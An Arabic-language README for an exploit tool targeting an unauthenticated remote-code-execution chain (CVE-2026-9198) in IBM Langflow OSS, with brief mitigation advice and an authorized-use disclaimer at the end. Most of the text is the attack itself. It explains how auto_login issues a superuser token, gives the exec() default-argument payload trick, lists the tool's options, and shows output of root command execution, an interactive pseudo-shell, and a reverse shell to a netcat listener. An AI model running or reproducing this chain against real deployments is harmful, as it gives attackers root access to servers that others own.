
تنفيذ كود عن بُعد دون مصادقة في IBM Langflow OSS (1.0.0 – 1.10.0) عند النشر الافتراضي. يجمع بين ثغرتين:
GET /api/v1/auto_login رمز JWT بصلاحيات SUPERUSER
لأي متصل دون بيانات اعتماد، وذلك كلما كان AUTO_LOGIN مفعّلًا (وهو الافتراضي في
Langflow < 1.5).POST /api/v1/validate/code كود Python المقدَّم من
المستخدم إلى exec() دون بيئة معزولة (sandbox).وبدمجهما معًا (CVE-2026-9198) يمكن لمهاجم دون مصادقة تنفيذ كود بصلاحيات مستخدم
خدمة Langflow — والذي غالبًا ما يكون root.
يطلب رمز حامل (Bearer) بصلاحيات المستخدم الفائق من /api/v1/auto_login (بدون
مصادقة).
يرسل حمولة (payload) إلى /api/v1/validate/code. تنفّذ النقطة النهائية الكود عبر
exec() من أجل "التحقق" منه؛ إذ تُقيّم Python قيم الوسائط الافتراضية في وقت
التعريف، لذلك تُغلَّف الحمولة في وسيطة افتراضية للدالة:
def _v(a=exec('<payload>')): pass
لتنفيذ الأوامر، تُثير الحمولة استثناءً تكون رسالته هي مخرجات الأمر، وتعيد النقطة
النهائية هذه الرسالة في الاستجابة (function.errors[]).
./exploit.py -t <target> [options]
-t, --target target host/IP (or full URL) (required)
-p, --port Langflow port (default 7860)
-c, --cmd run a single shell command, print output
--shell interactive pseudo-shell (each line runs via the RCE)
--lhost reverse-shell listener IP
--lport reverse-shell listener port (default 4444)
-k, --token use this bearer token (skip auto_login)
--timeout HTTP timeout in seconds (default 20)
--no-banner suppress the banner
-h, --help show help
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
auto_login (superuser token) -> validate/code (exec)
[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)
$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b
$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root
# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.
pip install)AUTO_LOGIN مفعّلًا (الوضع الافتراضي في Langflow < 1.5؛ أما في
>= 1.5 فيتعيّن تفعيله صراحةً عبر LANGFLOW_AUTO_LOGIN=true). إذا لم يُرجِع
auto_login أي رمز، فلن يكون الهدف قابلاً للاستغلال عبر هذا المسار — وقدّم رمزًا
صالحًا باستخدام -k إن كان لديك واحد.function.errors[] داخل الاستجابة؛ ويُدمَج stderr مع
stdout بحيث تستمر الأوامر الفاشلة في إظهار خطأها.root (وهو أمر شائع عند تشغيل langflow run مباشرةً تحت systemd أو
مع Docker يعمل بصلاحيات الجذر)، فهذا يعني الحصول على صلاحيات جذر المضيف مباشرةً.validate/code
مدخلات غير موثوقة عبر exec()، ويجب ألّا يُصدر auto_login رموزًا بصلاحيات
المستخدم الفائق.LANGFLOW_AUTO_LOGIN=false وهيِّئ بيانات اعتماد حقيقية لمستخدم فائق.root أبدًا.نُشر هذا المشروع لأغراض اختبار الأمان المصرَّح به والتعليم فقط. لا تستخدمه ضد أنظمة لا تملكها أو ليس لديك إذن صريح باختبارها. لا يتحمّل المؤلف أي مسؤولية عن سوء الاستخدام.